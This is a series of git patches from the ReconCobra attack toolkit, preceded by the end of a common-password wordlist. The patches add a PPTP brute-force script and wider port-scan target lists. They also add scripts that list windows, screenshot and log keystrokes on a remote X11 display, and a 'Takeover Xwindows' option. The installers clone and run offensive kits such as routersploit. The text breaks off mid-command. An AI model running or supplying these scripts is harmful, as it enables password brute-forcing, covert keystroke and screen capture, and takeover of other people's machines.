+987 +93624739 +901111 +9 +8ball +895623 +8881 +8850 +8282 +81 +808080 +806878mi +8 +7eleven +7891 +789 +784512 +780425 +778 +7777777777 +7710 +770208 +77 +762378 +741258963 +7410 +72 +707070 +6919 +66birds +66356635 +66 +656 +6485 +6464 +6425 +6314 +6305 +6192 +6185 +616161 +6133 +6031769 +5element +595959 +5918 +585858 +5640 +5603777216154289 +556 +5551212 +55 +5468 +5421 +52342 +51 +500000 +4runner +4d +486486 +47alpha +47 +4564 +454 +444 +4363 +4272 +4270 +4261 +424811a +4112 +409 +39223922 +3872 +369258 +3691 +369 +362514 +357951 +357 +3547 +333444 +33333333 +3322 +3306 +3254 +3242 +3215 +321321321 +31994 +316497 +3141 +31337 +313313 +3124 +3110 +3079700 +3050 +30135301 +30000 +3 +291292 +28462846 +2822 +281189 +2811 +280884 +280185 +272727 +270890 +270791 +270785 +2701 +261188 +260789 +260786 +2600 +258963 +258852 +258456 +257967 +2558 +253 +2524 +250999 +250589 +2505 +2456 +24502450 +2423 +2418 +241289 +236 +2357 +2345 +234432 +232629 +2323232323 +2314 +23 +227 +2248 +223 +22222222 +22222 +2210 +220889 +22 +210884 +203088 +2010 +2006 +2005 +2 +1qwert +1qw23er4 +1qaz2w +1qa2ws3ed +1q2w3e4r5t6y +1Password! +1a2b3c4d5e +1994 +19851985 +1982 +1975 +1971 +1970 +1963 +1962 +1960 +1957 +1953 +1948 +19216821 +191919 +1913 +1908 +1907 +1878200 +1822 +1818 +1812 +180573 +1802 +1800 +174 +171188 +170688 +161282 +1610 +160888 +160588 +16021982 +159951 +15951 +1593 +159 +1575 +1559 +1546 +1501 +147896321 +1478963 +14789 +14785 +147147 +145236 +1440 +1434 +1428 +141414 +1408 +1405 +140290 +1402 +14 +1375 +1357924680 +135246 +133599 +132 +130884 +130883 +12w345 +12qw +125 +1249 +1243 +124124 +123stella +123qw +123password +123\n +123chat +123698745 +123654789 +12365478 +12356 +12346789 +12345red +123458 +12345687 +12345679 +123456789a +1234567890\n +12345678900 +123456123 +123456# +123455 +1234512345 +12345123 +1234321 +123321a +123321123 +123180 +12312345 +12312312 +1231212 +122345 +1223 +122099 +1220 +121233 +12112 +1211 +120189 +1175831 +11625 +116 +115199 +1151955 +11422 +1138 +11235813 +112233445566778899 +1122334455 +1114 +1111111111 +111000 +11041983 +110398 +110189 +1048576 +1031 +10291029 +1025736 +1025 +1022 +1017395 +1016221 +1015 +1014 +1012 +1011931 +1011001 +101090 +10101 +100884 +1007101 +1005088 +1005 +1004494 +1003628 +1002434 +1002238 +10021976 +1002167 +1000101 +1000011 +10000 +100 +090490 +0903 +080899 +080789 +0701 +061590 +06061987 +060190 +0561lodewijk +04121984 +04120412 +040398 +030788 +030690 +0228 +020490 +0201 +0147 +0146 +0128 +01235 +011190 +011077 +010393 +002222 +00100 +001 +00000a +000000aa +00 +******************************** +********* +******** +*** +!@#$%^&* +!@#$%^ +~ +` From 67843a93301e561daebb07e7e1b18818836561e4 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 10:24:45 +0500 Subject: [PATCH 207/272] Add files via upload --- pptp.sh | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 pptp.sh diff --git a/pptp.sh b/pptp.sh new file mode 100644 index 0000000..4dcf204 --- /dev/null +++ b/pptp.sh @@ -0,0 +1,3 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +cat wordlist.txt | thc-pptp-bruter $Target \ No newline at end of file From 0619736278c4401d5c8ff13707951b1d36b704e7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 10:35:29 +0500 Subject: [PATCH 208/272] Update ReconCobra.pl --- ReconCobra.pl | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 096198e..d3c7102 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -769,7 +769,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item('1'),"Website Information";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('2'),"Domain Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('3'),"Find IP Location";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('4'),"Basic Port Scanner";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('4'),"Recommended Port Scan";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('5'),"DNS Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('6'),"Reverse Whois Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('7'),"DNS Zone Transfers Lookup";print color('bold cyan')," # \n"; @@ -1761,7 +1761,7 @@ sub Findiplocation { } #--------------------------------------------------------------# -#4 Port Scanner # +#4 Recommended Port Scanner # #--------------------------------------------------------------# sub port { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); @@ -1792,17 +1792,41 @@ sub port { ,220 => 'IMAP3' ,389 => 'LDAP' ,443 => 'SSL' + ,1433 => 'MSSQL' ,1521 => 'Oracle SQL' ,2049 => 'NFS' ,3306 => 'mySQL' ,3388 => 'RDP' ,3389 => 'RDP' - ,5800 => 'VNC' + ,3390 => 'OWA' + ,4125 => 'OWA' + ,5060 => 'VNC' + ,5061 => 'VNC' + ,5062 => 'VNC' + ,5063 => 'VNC' + ,5064 => 'VNC' + ,5065 => 'VNC' + ,5432 => 'PostgreSQL' + ,5804 => 'VNC' + ,5901 => 'VNC' + ,5802 => 'VNC' + ,5903 => 'VNC' + ,5905 => 'VNC' + ,5986 => 'VNC' + ,6379 => 'Redis' + ,7000 => 'Cassandra Apache' + ,7001 => 'Cassandra Apache' + ,7199 => 'Cassandra Apache' ,8000 => 'HTTP' ,8080 => 'HTTP' ,8090 => 'HTTP' + ,8443 => 'HTTPS' ,8888 => 'HTTP' ,9001 => 'HTTP' + ,9042 => 'Cassandra Apache' + ,27017 => 'MongoDB' + ,27018 => 'MongoDB' + ,27019 => 'MongoDB' ); foreach my $p ( sort {$a<=>$b} keys( %ports ) ) { From 61494b5cd348074bf201cf5ee21e2234970fb559 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:03:21 +0500 Subject: [PATCH 209/272] Add files via upload --- Kali_Installer.sh | 1 + ParrotOS_Installer.sh | 1 + ReconCobra.pl | 64 +++++++++++++++++++++++++++++++++++++++++++ Termux_Installer.sh | 1 + xwin.sh | 4 +++ xwin1.sh | 6 ++++ xwin2.sh | 3 ++ xwin3.sh | 4 +++ xwin4.sh | 4 +++ 9 files changed, 88 insertions(+) create mode 100644 xwin.sh create mode 100644 xwin1.sh create mode 100644 xwin2.sh create mode 100644 xwin3.sh create mode 100644 xwin4.sh diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 204b1f1..e387fcb 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -139,6 +139,7 @@ cd json-describe cargo build cd .. echo "y" | apt-get install nmap +echo "y" | apt-get install xrdp pip install jsbeautifier pip install argparse pip install requests diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index df9c06d..73298a3 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -94,6 +94,7 @@ perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; echo -e "$red [$green+$red]$off Installing dependencies..." echo "y" | apt-get install xdg-utils +echo "y" | apt-get install xrdp echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 diff --git a/ReconCobra.pl b/ReconCobra.pl index d3c7102..8abfbd3 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1813,6 +1813,14 @@ sub port { ,5903 => 'VNC' ,5905 => 'VNC' ,5986 => 'VNC' + ,6000 => 'Xwindows' + ,6002 => 'Xwindows' + ,6003 => 'Xwindows' + ,6060 => 'Xwindows' + ,6061 => 'Xwindows' + ,6062 => 'Xwindows' + ,6063 => 'Xwindows' + ,5986 => 'VNC' ,6379 => 'Redis' ,7000 => 'Cassandra Apache' ,7001 => 'Cassandra Apache' @@ -3488,6 +3496,15 @@ () #73 Brute Frocer Module # #--------------------------------------------------------------# sub bruter() { + print item(),"1 - Start Bruter\n"; + print item(),"2 - Capture Xwindows Information\n"; + print item(),"3 - Start Xwindows Screen Capture\n"; + print item(),"4 - Start Xwindows Keystroke Capture\n"; + print item(),"5 - Takeover Xwindows\n"; + print item(),"6 - Special Screen Capturing Payload for X11\n"; + print item(),"Enter Search Engine: "; + chomp($enter=); +if ($enter =~1) { if (system("/usr/share/ReconCobra/bruter.sh") == 0) { print item(),"success!\n"; } @@ -3496,6 +3513,53 @@ () print item(),"Command failed\n"; } } +if ($enter =~2) { + if (system("/usr/share/ReconCobra/xwin.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~3) { + if (system("/usr/share/ReconCobra/xwin1.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin1.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~4) { + if (system("/usr/share/ReconCobra/xwin2.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin2.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~5) { + if (system("/usr/share/ReconCobra/xwin3.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin3.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + if ($enter =~6) { + if (system("/usr/share/ReconCobra/xwin4.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make xwin4.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +} #--------------------------------------------------------------# diff --git a/Termux_Installer.sh b/Termux_Installer.sh index fbb1007..ed30e02 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -35,6 +35,7 @@ apt-get install make apt-get install clang apt-get install unzip apt-get install tar +apt-get install -y xrdp apt-get install -y ccrypt echo -e "Installing Perl ..."; diff --git a/xwin.sh b/xwin.sh new file mode 100644 index 0000000..47d60ca --- /dev/null +++ b/xwin.sh @@ -0,0 +1,4 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +read -p "[+] Enter Number : " Screen +xwininfo -root -tree -display $Target:$Screen diff --git a/xwin1.sh b/xwin1.sh new file mode 100644 index 0000000..2dc9cdf --- /dev/null +++ b/xwin1.sh @@ -0,0 +1,6 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +read -p "[+] Enter Number : " Screen +xwd -root -screen -silent -display $Target:$Screen > screenshot.xwd +convert screenshot.xwd screenshot.png + diff --git a/xwin2.sh b/xwin2.sh new file mode 100644 index 0000000..f84e60e --- /dev/null +++ b/xwin2.sh @@ -0,0 +1,3 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +xspy $Target \ No newline at end of file diff --git a/xwin3.sh b/xwin3.sh new file mode 100644 index 0000000..306d700 --- /dev/null +++ b/xwin3.sh @@ -0,0 +1,4 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +read -p "[+] Enter Screen : " Screen +xrdp $Target:$Screen --no-disp \ No newline at end of file diff --git a/xwin4.sh b/xwin4.sh new file mode 100644 index 0000000..f9dab9a --- /dev/null +++ b/xwin4.sh @@ -0,0 +1,4 @@ +#!/bin/bash +read -p "[+] Enter Target : " Target +read -p "[+] Enter Screen : " Screen +xwininfo -display $Target:$Screen -all -root | grep \" From 9bc73c09cb8c2a98086a2ac35fe0f0123bc2f559 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:06:08 +0500 Subject: [PATCH 210/272] Add files via upload --- ReconCobra.pl | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 8abfbd3..6319508 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1807,9 +1807,10 @@ sub port { ,5064 => 'VNC' ,5065 => 'VNC' ,5432 => 'PostgreSQL' + ,5802 => 'VNC' ,5804 => 'VNC' + ,5900 => 'VNC' ,5901 => 'VNC' - ,5802 => 'VNC' ,5903 => 'VNC' ,5905 => 'VNC' ,5986 => 'VNC' From c2572c81deb7e0edc2d144ab4d114c08040b5428 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:08:58 +0500 Subject: [PATCH 211/272] Add files via upload --- Kali_Installer.sh | 2 +- ParrotOS_Installer.sh | 1 + Termux_Installer.sh | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index e387fcb..74986d1 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -99,7 +99,7 @@ echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install python2.7 echo "y" | apt-get install python3 - +echo "y" | apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy echo "y" | apt-get install golang echo "y" | apt-get install curl echo "y" | apt-get install nfs-common diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 73298a3..0ba25ca 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -96,6 +96,7 @@ echo -e "$red [$green+$red]$off Installing dependencies..." echo "y" | apt-get install xdg-utils echo "y" | apt-get install xrdp echo "y" | apt-get install cargo +echo "y" | apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install ccrypt diff --git a/Termux_Installer.sh b/Termux_Installer.sh index ed30e02..3d61150 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -72,6 +72,7 @@ echo "y" | apt-get install golang echo "y" | apt-get install curl echo "y" | apt-get install nfs-common echo "y" | apt-get install smbclient +echo "y" | apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy echo "y" | apt-get install cargo echo "y" | apt-get install gem gem install wayback_machine_downloader From 11a456281fb391faa9502e0248070f8468cacda6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:21:45 +0500 Subject: [PATCH 212/272] Update ReconCobra.pl --- ReconCobra.pl | 3 +++ 1 file changed, 3 insertions(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index 6319508..dde4a64 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1782,6 +1782,7 @@ sub port { ,68 => 'DHCP' ,80 => 'HTTP' ,110 => 'POP3' + ,111 => 'Portmapper' ,115 => 'SFTP' ,119 => 'NNTP' ,123 => 'NTP' @@ -1792,6 +1793,8 @@ sub port { ,220 => 'IMAP3' ,389 => 'LDAP' ,443 => 'SSL' + ,513 => 'Rlogin' + ,514 => 'Rlogin' ,1433 => 'MSSQL' ,1521 => 'Oracle SQL' ,2049 => 'NFS' From 54cb9c179aa0c6546da6464b6ac2349a82798a47 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:22:44 +0500 Subject: [PATCH 213/272] Update ReconCobra.pl --- ReconCobra.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index dde4a64..4c022cc 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1793,6 +1793,7 @@ sub port { ,220 => 'IMAP3' ,389 => 'LDAP' ,443 => 'SSL' + ,445 => 'SAMBA' ,513 => 'Rlogin' ,514 => 'Rlogin' ,1433 => 'MSSQL' From 0967121a1206bcda44323ef06a9c3aa6c33dc20f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 11:30:53 +0500 Subject: [PATCH 214/272] Add files via upload --- ReconCobra.pl | 1 - mascan.sh | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 4c022cc..e7cf4f4 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1825,7 +1825,6 @@ sub port { ,6061 => 'Xwindows' ,6062 => 'Xwindows' ,6063 => 'Xwindows' - ,5986 => 'VNC' ,6379 => 'Redis' ,7000 => 'Cassandra Apache' ,7001 => 'Cassandra Apache' diff --git a/mascan.sh b/mascan.sh index 917b296..496ade6 100644 --- a/mascan.sh +++ b/mascan.sh @@ -1,3 +1,3 @@ #!/bin/bash read -p "[+] Enter Target in IP/CIDR/Block: " Target -masscan -p21,22,3389,21,23,443,110,143,/139,5900-5,5060-5065,6379,5432,3306,1433,27017-19,7000,7001,9042,7199,8080,5986 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file +masscan -p21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,1433,1521,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file From 12cceecdd1414db4b05a2a25e233eadba223081b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 12:17:19 +0500 Subject: [PATCH 215/272] Update README.md --- README.md | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/README.md b/README.md index e0e4036..0a0d9d9 100644 --- a/README.md +++ b/README.md @@ -83,6 +83,28 @@ ReconCobra is false positive free, when there is something it will show no matte - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux +# Android LED TV Installation +- Install termux +- Input usb keyboard +- git clone https://github.com/haroonawanofficial/ReconCobra.git +- cd Reconcobra +- chmod u+x *.sh +- ./Termux_Installer.sh +- Reboot your android led tv +- perl ReconCobraTermux.pl +- Dependencies will be handled automatically for android led tv +- Third party software(s)/dependencies/modules will be handled automatically for android led tv + +# Black Arch Installation +- Open issues, if any error occur +- git clone https://github.com/haroonawanofficial/ReconCobra.git +- cd Reconcobra +- chmod u+x *.sh +- ./BlackArch_Installer.sh +- ReconCobra will integrate as system software +- Dependencies will be handled automatically +- Third party software(s)/dependencies/modules will be handled automatically + # Running in Kali - ReconCobra From 78ffaa40cdac8c154aeb0b64c0a62ba80568f435 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 12:17:39 +0500 Subject: [PATCH 216/272] Add files via upload --- BlackArch_Installer.sh | 183 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 BlackArch_Installer.sh diff --git a/BlackArch_Installer.sh b/BlackArch_Installer.sh new file mode 100644 index 0000000..9dde832 --- /dev/null +++ b/BlackArch_Installer.sh @@ -0,0 +1,183 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing APT-GET ..."; +pacman -S pacaur +pacaur -S apt +echo -e "$red [$green+$red]$off Installing Perl ..."; +apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +perl -MCPAN -e "WWW::Mechanize" +perl -MCPAN -e "use HTML::TokeParser" +perl -MCPAN -e "Term::ANSIColor" +perl -MCPAN -e "Mojo::DOM" +perl -MCPAN -e "Data::Dumper" +perl -MCPAN -e "Win32::Console::ANSI" +perl -MCPAN -e "HTML::TableExtract" +perl -MCPAN -e "Data::Validate::Domain" +perl -MCPAN -e "LWP::Protocol::https" +perl -MCPAN -e "Mozilla::CA" +perl -MCPAN -e "Bundle::LWP" + + +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + rm -r "/usr/share/ReconCobra" + rm "/usr/share/icons/ReconCobra.png" + rm "/usr/share/applications/ReconCobra.desktop" + rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + mkdir "/usr/share/ReconCobra" + cp "installer.sh" "/usr/share/ReconCobra" + cp "ReconCobra.pl" "/usr/share/ReconCobra" + cp "config/ReconCobra.jpeg" "/usr/share/icons" + cp "config/ReconCobra.desktop" "/usr/share/applications" + cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo -e "$red [$green+$red]$off Installing dependencies..." +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python2.7 +echo "y" | apt-get install python3 +echo "y" | apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient +echo "y" | apt-get install gem +gem install wayback_machine_downloader +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/xroche/httrack.git --recurse +cd httrack +./configure --prefix=$HOME/usr && make -j8 && make install +cd .. +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git +cd HackTheWorld +chmod +x install.sh && ./install.sh +cd .. +echo "y" | git clone https://github.com/threat9/routersploit +cd routersploit +easy_install pip +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo build +cd .. +echo "y" | apt-get install nmap +echo "y" | apt-get install xrdp +pip install jsbeautifier +pip install argparse +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +virtualenv --python="2" env +env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh +cd .. +cd .. +chmod u+x *.sh +cp * -r /usr/share/ReconCobra +cp *.sh /usr/share/ReconCobra + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi From 24daa666f54f0693aa606f2fb574bd107e14d64c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 12:18:35 +0500 Subject: [PATCH 217/272] Update README.md --- README.md | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/README.md b/README.md index 0a0d9d9..db15811 100644 --- a/README.md +++ b/README.md @@ -105,19 +105,9 @@ ReconCobra is false positive free, when there is something it will show no matte - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically -# Running in Kali -- ReconCobra - -# Running in Termux -- perl ReconCobraTermux.pl - -# Running in Parrot OS -- ReconCobra or perl ReconCobra.pl - # Developer - Haroon Awan - mrharoonawan@gmail.com # Co-developer & Senior Tester -- Arun S. -- Instagram.com/Hackeruniversee +- Arun S From 11f00c050c5ce14cd5f2cddf736dfcff766b84b8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 12:19:27 +0500 Subject: [PATCH 218/272] Update README.md --- README.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/README.md b/README.md index db15811..c89f040 100644 --- a/README.md +++ b/README.md @@ -34,10 +34,7 @@ EULA - Reconcobra is Foot printing software for Ultimate Information Gathering # Supported OS -- Runs on Kali -- Runs on Parrot OS -- Runs on Arch Linux -- Runs on Termux +- Kali, Parrot OS, Black Arch, Termux, Android LED TV # Brief Introduction - ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing. From 5c4c7872fdd91967412035981abe66825c6762c0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 12:20:31 +0500 Subject: [PATCH 219/272] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index c89f040..5c31373 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ EULA - Reconcobra is Foot printing software for Ultimate Information Gathering # Supported OS -- Kali, Parrot OS, Black Arch, Termux, Android LED TV +- Kali, Parrot OS, Black Arch, Termux, Android Led TV # Brief Introduction - ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing. @@ -80,7 +80,7 @@ ReconCobra is false positive free, when there is something it will show no matte - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux -# Android LED TV Installation +# Android Led TV Installation - Install termux - Input usb keyboard - git clone https://github.com/haroonawanofficial/ReconCobra.git @@ -93,7 +93,7 @@ ReconCobra is false positive free, when there is something it will show no matte - Third party software(s)/dependencies/modules will be handled automatically for android led tv # Black Arch Installation -- Open issues, if any error occur +- Open issue, if error occur - git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - chmod u+x *.sh From b1cedc489e971ad9194d0a180e3178343a218f1e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 15:19:23 +0500 Subject: [PATCH 220/272] Add files via upload --- ReconCobra.pl | 3 +++ mascan.sh | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index e7cf4f4..768ca1a 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1796,8 +1796,11 @@ sub port { ,445 => 'SAMBA' ,513 => 'Rlogin' ,514 => 'Rlogin' + ,691 => 'Microsoft Exchange' ,1433 => 'MSSQL' ,1521 => 'Oracle SQL' + ,1701 => 'L2TP' + ,1723 => 'PPTP' ,2049 => 'NFS' ,3306 => 'mySQL' ,3388 => 'RDP' diff --git a/mascan.sh b/mascan.sh index 496ade6..35f23e2 100644 --- a/mascan.sh +++ b/mascan.sh @@ -1,3 +1,3 @@ #!/bin/bash read -p "[+] Enter Target in IP/CIDR/Block: " Target -masscan 